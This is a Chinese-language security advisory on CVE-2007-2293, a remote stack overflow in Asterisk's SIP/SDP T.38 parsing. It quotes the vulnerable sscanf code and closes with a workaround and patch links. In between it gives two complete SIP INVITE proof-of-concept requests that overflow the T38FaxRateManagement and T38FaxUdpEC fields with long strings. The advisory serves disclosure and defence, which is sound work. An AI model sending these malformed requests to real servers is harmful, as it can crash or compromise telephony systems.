安全研究

安全漏洞
Asterisk SIP T.38 SDP解析远程栈溢出漏洞

发布日期:2006-10-24
更新日期:2007-07-03

受影响系统:
Asterisk Asterisk 1.4.x
Asterisk AsteriskNOW <= Beta5
Asterisk Appliance Developer Kit 0.x.x
不受影响系统:
Asterisk Asterisk 1.4.3
Asterisk AsteriskNOW Beta6
Asterisk Appliance Developer Kit 0.4.0
描述:
BUGTRAQ  ID: 23648
CVE(CAN) ID: CVE-2007-2293

Asterisk是一款PBX系统的软件,运行在Linux系统上,支持使用SIP、IAX、H323协议进行IP通话。

Asterisk的SIP/SDP处理器中存在多个远程栈溢出漏洞,远程攻击者可能利用此漏洞控制服务器。

如果所发送SIP报文中的SDP数据包含有超长的T38参数的话,就可以触发这个溢出,导致执行任意代码。这个漏洞是由chan_sip.c文件中的process_sdp函数调用sscanf所导致的:

else if ((sscanf(a, "T38FaxRateManagement:%s", s) == 1)) {              
                                                                        
found = 1;                                                              
                                                                        
if (option_debug > 2)                                                  
                                                                        
ast_log(LOG_DEBUG, "RateMangement: %s\n", s);                          
                                                                        
if (!strcasecmp(s, "localTCF"))                                        
                                                                        
peert38capability |=                                                    
                                                                        
T38FAX_RATE_MANAGEMENT_LOCAL_TCF;                                      
                                                                        
else if (!strcasecmp(s, "transferredTCF"))                              
                                                                        
peert38capability |=                                                    
                                                                        
T38FAX_RATE_MANAGEMENT_TRANSFERED_TCF;                                  
                                                    
上述代码试图从SIP报文中的SDP读取T38FaxRateManagement:选项,然后将后续的字符串拷贝到s。由于对这个字符串没有执行长度检查,因此可以写过s变量的边界,覆盖栈中临近的缓冲区。s在这个函数中被定义为仅256字节长的字符数组。

SIP/SDP处理器在处理SIP报文中SDP数据的超长T38FaxUdpEC参数时也存在类似的栈溢出:

else if ((sscanf(a, "T38FaxUdpEC:%s", s) == 1)) {                      
                                                                        
found = 1;                                                              
                                                                        
if (option_debug > 2)                                                  
                                                                        
ast_log(LOG_DEBUG, "UDP EC: %s\n", s);                                  
                                                                        
if (!strcasecmp(s, "t38UDPRedundancy")) {                              
                                                                        
peert38capability |=                                                    
                                                                        
T38FAX_UDP_EC_REDUNDANCY;                                              
                                                                        
ast_udptl_set_error_correction_scheme(p->udptl,                        
                                                                        
UDPTL_ERROR_CORRECTION_REDUNDANCY);            

试图从SIP报文的SDP读取T38FaxUdpEC时会触发这个栈溢出,导致执行任意指令。

<*来源:Barrie Dempster (barrie@ngssoftware.com
  
  链接:http://marc.info/?l=full-disclosure&m=117746360904281&w=2
        http://secunia.com/advisories/24977/
        http://marc.info/?l=bugtraq&m=118356640127081&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

INVITE sip:200@127.0.0.1 SIP/2.0                                    
                                                                    
Date: Wed, 21 Mar 2007 4:20:09 GMT                                  
                                                                    
CSeq: 1 INVITE                                                      
                                                                    
Via: SIP/2.0/UDP                                                    
                                                                    
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
                                                                    
User-Agent: NGS/2.0                                                  
                                                                    
From: "Barrie Dempster"                                              
                                                                    
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
                                                                    
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades              
                                                                    
To: <sip:200@localhost>                                              
                                                                    
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>                  
                                                                    
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE            
                                                                    
Content-Type: application/sdp                                        
                                                                    
Content-Length: 796                                                  
                                                                    
Max-Forwards: 70                                                    
                                                                    
v=0                                                                  
                                                                    
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1        
                                                                    
s=-                                                                  
                                                                    
c=IN IP4 127.0.0.1                                                  
                                                                    
t=0 0                                                                
                                                                    
m=image 5004 UDPTL t38                                              
                                                                    
a=T38FaxVersion:0                                                    
                                                                    
a=T38MaxBitRate:14400                                                
                                                                    
a=T38FaxMaxBuffer:1024                                              
                                                                    
a=T38FaxMaxDatagram:238                                              
                                                                    
a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAA                                                    
                                                                    
a=T38FaxUdpEC:t38UDPRedundancy  


============================================================================

INVITE sip:200@127.0.0.1 SIP/2.0                                    
                                                                    
Date: Wed, 21 Mar 2007 4:20:09 GMT                                  
                                                                    
CSeq: 1 INVITE                                                      
                                                                    
Via: SIP/2.0/UDP                                                    
                                                                    
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
                                                                    
User-Agent: NGS/2.0                                                  
                                                                    
From: "Barrie Dempster"                                              
                                                                    
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
                                                                    
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades              
                                                                    
To: <sip:200@localhost>                                              
                                                                    
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>                  
                                                                    
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE            
                                                                    
Content-Type: application/sdp                                        
                                                                    
Content-Length: 796                                                  
                                                                    
Max-Forwards: 70                                                    
                                                                    
v=0                                                                  
                                                                    
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1        
                                                                    
s=-                                                                  
                                                                    
c=IN IP4 127.0.0.1                                                  
                                                                    
t=0 0                                                                
                                                                    
m=image 5004 UDPTL t38                                              
                                                                    
a=T38FaxVersion:0                                                    
                                                                    
a=T38MaxBitRate:14400                                                
                                                                    
a=T38FaxMaxBuffer:1024                                              
                                                                    
a=T38FaxMaxDatagram:238                                              
                                                                    
a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                    
AAAAAAAAA

建议:
临时解决方法:

*  将t38_udptl配置设置为no。

厂商补丁:

Asterisk
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp://ftp.digium.com/pub/telephony/asterisk
http://www.asterisknow.org/
ftp://ftp.digium.com/pub/telephony/aadk

浏览次数:4396
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障